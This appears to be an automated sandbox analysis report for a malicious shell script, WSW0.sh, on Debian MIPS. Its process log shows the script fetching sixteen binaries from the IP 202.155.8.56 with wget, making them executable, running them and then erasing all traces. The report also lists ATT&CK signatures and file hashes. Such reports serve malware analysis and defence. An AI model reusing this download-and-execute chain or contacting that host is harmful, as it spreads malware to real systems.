Analysis

  • max time kernel
    26s
  • max time network
    28s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25/09/2026, 22:44

General

  • Target
    WSW0.sh
  • Size 263B
  • Sample260925-2nxfhsaa96
  • SHA256 e6fc448db82da2649c7efe3ca6f408c0c5f83aaff89fc9fa1298af878f829b35
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:711
    • /bin/rm
      rm IPKC
      2⤵
      • System Network Configuration Discovery
      PID:713
    • /usr/bin/wget
      wget http://202.155.8.56/IPKC
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:719
    • /bin/chmod
      chmod +x IPKC
      2⤵
      • File and Directory Permissions Modification
      PID:736
    • /tmp/IPKC
      ./IPKC
      2⤵
      • System Network Configuration Discovery
      PID:737
    • /bin/rm
      rm GMXD
      2⤵
        PID:739
      • /usr/bin/wget
        wget http://202.155.8.56/GMXD
        2⤵
        • Writes file to tmp directory
        PID:740
      • /bin/chmod
        chmod +x GMXD
        2⤵
        • File and Directory Permissions Modification
        PID:743
      • /tmp/GMXD
        ./GMXD
        2⤵
          PID:744
        • /bin/rm
          rm BXWD
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://202.155.8.56/BXWD
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod +x BXWD
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/BXWD
            ./BXWD
            2⤵
              PID:749
            • /bin/rm
              rm VMGX
              2⤵
                PID:751
              • /usr/bin/wget
                wget http://202.155.8.56/VMGX
                2⤵
                • Writes file to tmp directory
                PID:752
              • /bin/chmod
                chmod +x VMGX
                2⤵
                • File and Directory Permissions Modification
                PID:753
              • /tmp/VMGX
                ./VMGX
                2⤵
                  PID:754
                • /bin/rm
                  rm HTSX
                  2⤵
                    PID:756
                  • /usr/bin/wget
                    wget http://202.155.8.56/HTSX
                    2⤵
                    • Writes file to tmp directory
                    PID:757
                  • /bin/chmod
                    chmod +x HTSX
                    2⤵
                    • File and Directory Permissions Modification
                    PID:758
                  • /tmp/HTSX
                    ./HTSX
                    2⤵
                      PID:759
                    • /bin/rm
                      rm UFVS
                      2⤵
                        PID:761
                      • /usr/bin/wget
                        wget http://202.155.8.56/UFVS
                        2⤵
                        • Writes file to tmp directory
                        PID:763
                      • /bin/chmod
                        chmod +x UFVS
                        2⤵
                        • File and Directory Permissions Modification
                        PID:771
                      • /tmp/UFVS
                        ./UFVS
                        2⤵
                          PID:772
                        • /bin/rm
                          rm PZCA
                          2⤵
                            PID:776
                          • /usr/bin/wget
                            wget http://202.155.8.56/PZCA
                            2⤵
                            • Writes file to tmp directory
                            PID:777
                          • /bin/chmod
                            chmod +x PZCA
                            2⤵
                            • File and Directory Permissions Modification
                            PID:788
                          • /tmp/PZCA
                            ./PZCA
                            2⤵
                              PID:789
                            • /bin/rm
                              rm YNEP
                              2⤵
                                PID:793
                              • /usr/bin/wget
                                wget http://202.155.8.56/YNEP
                                2⤵
                                • Writes file to tmp directory
                                PID:794
                              • /bin/chmod
                                chmod +x YNEP
                                2⤵
                                • File and Directory Permissions Modification
                                PID:805
                              • /tmp/YNEP
                                ./YNEP
                                2⤵
                                  PID:806
                                • /bin/rm
                                  rm RJGU
                                  2⤵
                                    PID:809
                                  • /usr/bin/wget
                                    wget http://202.155.8.56/RJGU
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:811
                                  • /bin/chmod
                                    chmod +x RJGU
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:821
                                  • /tmp/RJGU
                                    ./RJGU
                                    2⤵
                                      PID:822
                                    • /bin/rm
                                      rm ETQU
                                      2⤵
                                        PID:825
                                      • /usr/bin/wget
                                        wget http://202.155.8.56/ETQU
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:826
                                      • /bin/chmod
                                        chmod +x ETQU
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:828
                                      • /tmp/ETQU
                                        ./ETQU
                                        2⤵
                                          PID:829
                                        • /bin/rm
                                          rm RPMK
                                          2⤵
                                            PID:831
                                          • /usr/bin/wget
                                            wget http://202.155.8.56/RPMK
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:832
                                          • /bin/chmod
                                            chmod +x RPMK
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:833
                                          • /tmp/RPMK
                                            ./RPMK
                                            2⤵
                                              PID:834
                                            • /bin/rm
                                              rm UIGP
                                              2⤵
                                                PID:836
                                              • /usr/bin/wget
                                                wget http://202.155.8.56/UIGP
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:837
                                              • /bin/chmod
                                                chmod +x UIGP
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:838
                                              • /tmp/UIGP
                                                ./UIGP
                                                2⤵
                                                  PID:839
                                                • /bin/rm
                                                  rm YIJV
                                                  2⤵
                                                    PID:841
                                                  • /usr/bin/wget
                                                    wget http://202.155.8.56/YIJV
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:842
                                                  • /bin/chmod
                                                    chmod +x YIJV
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:851
                                                  • /tmp/YIJV
                                                    ./YIJV
                                                    2⤵
                                                      PID:853
                                                    • /bin/rm
                                                      rm XCRW
                                                      2⤵
                                                        PID:856
                                                      • /usr/bin/wget
                                                        wget http://202.155.8.56/XCRW
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:857
                                                      • /bin/chmod
                                                        chmod +x XCRW
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:870
                                                      • /tmp/XCRW
                                                        ./XCRW
                                                        2⤵
                                                          PID:871
                                                        • /bin/rm
                                                          rm VKGK
                                                          2⤵
                                                            PID:873
                                                          • /usr/bin/wget
                                                            wget http://202.155.8.56/VKGK
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:876
                                                          • /bin/chmod
                                                            chmod +x VKGK
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:883
                                                          • /tmp/VKGK
                                                            ./VKGK
                                                            2⤵
                                                              PID:884
                                                            • /bin/rm
                                                              rm NXIU
                                                              2⤵
                                                                PID:886
                                                              • /usr/bin/wget
                                                                wget http://202.155.8.56/NXIU
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:887
                                                              • /bin/chmod
                                                                chmod +x NXIU
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:888
                                                              • /tmp/NXIU
                                                                ./NXIU
                                                                2⤵
                                                                  PID:889
                                                                • /bin/rm
                                                                  rm -rf IPKC
                                                                  2⤵
                                                                  • System Network Configuration Discovery
                                                                  PID:891
                                                                • /bin/rm
                                                                  rm -rf GMXD
                                                                  2⤵
                                                                    PID:892
                                                                  • /bin/rm
                                                                    rm -rf BXWD
                                                                    2⤵
                                                                      PID:893
                                                                    • /bin/rm
                                                                      rm -rf VMGX
                                                                      2⤵
                                                                        PID:894
                                                                      • /bin/rm
                                                                        rm -rf HTSX
                                                                        2⤵
                                                                          PID:895
                                                                        • /bin/rm
                                                                          rm -rf UFVS
                                                                          2⤵
                                                                            PID:896
                                                                          • /bin/rm
                                                                            rm -rf PZCA
                                                                            2⤵
                                                                              PID:897
                                                                            • /bin/rm
                                                                              rm -rf YNEP
                                                                              2⤵
                                                                                PID:898
                                                                              • /bin/rm
                                                                                rm -rf RJGU
                                                                                2⤵
                                                                                  PID:899
                                                                                • /bin/rm
                                                                                  rm -rf ETQU
                                                                                  2⤵
                                                                                    PID:900
                                                                                  • /bin/rm
                                                                                    rm -rf RPMK
                                                                                    2⤵
                                                                                      PID:901
                                                                                    • /bin/rm
                                                                                      rm -rf UIGP
                                                                                      2⤵
                                                                                        PID:902
                                                                                      • /bin/rm
                                                                                        rm -rf YIJV
                                                                                        2⤵
                                                                                          PID:903
                                                                                        • /bin/rm
                                                                                          rm -rf XCRW
                                                                                          2⤵
                                                                                            PID:904
                                                                                          • /bin/rm
                                                                                            rm -rf VKGK
                                                                                            2⤵
                                                                                              PID:905
                                                                                            • /bin/rm
                                                                                              rm -rf NXIU
                                                                                              2⤵
                                                                                                PID:906
                                                                                              • /bin/rm
                                                                                                rm /tmp/WSW0.sh
                                                                                                2⤵
                                                                                                  PID:907

                                                                                              Network

                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                    Replay Monitor

                                                                                                    Loading Replay Monitor...

                                                                                                    Downloads

                                                                                                    BXWD

                                                                                                    • Path /tmp/BXWD
                                                                                                    • Size 109KB
                                                                                                    • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    ETQU

                                                                                                    • Path /tmp/ETQU
                                                                                                    • Size 125KB
                                                                                                    • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    GMXD

                                                                                                    • Path /tmp/GMXD
                                                                                                    • Size 200KB
                                                                                                    • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    HTSX

                                                                                                    • Path /tmp/HTSX
                                                                                                    • Size 105KB
                                                                                                    • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    IPKC

                                                                                                    • Path /tmp/IPKC
                                                                                                    • Size 125KB
                                                                                                    • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    NXIU

                                                                                                    • Path /tmp/NXIU
                                                                                                    • Size 126KB
                                                                                                    • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    PZCA

                                                                                                    • Path /tmp/PZCA
                                                                                                    • Size 154KB
                                                                                                    • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    RJGU

                                                                                                    • Path /tmp/RJGU
                                                                                                    • Size 86KB
                                                                                                    • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    RPMK

                                                                                                    • Path /tmp/RPMK
                                                                                                    • Size 193KB
                                                                                                    • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    UFVS

                                                                                                    • Path /tmp/UFVS
                                                                                                    • Size 105KB
                                                                                                    • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    UIGP

                                                                                                    • Path /tmp/UIGP
                                                                                                    • Size 121KB
                                                                                                    • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    VKGK

                                                                                                    • Path /tmp/VKGK
                                                                                                    • Size 125KB
                                                                                                    • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    VMGX

                                                                                                    • Path /tmp/VMGX
                                                                                                    • Size 129KB
                                                                                                    • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    XCRW

                                                                                                    • Path /tmp/XCRW
                                                                                                    • Size 193KB
                                                                                                    • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    YIJV

                                                                                                    • Path /tmp/YIJV
                                                                                                    • Size 167KB
                                                                                                    • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                    YNEP

                                                                                                    • Path /tmp/YNEP
                                                                                                    • Size 129KB
                                                                                                    • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH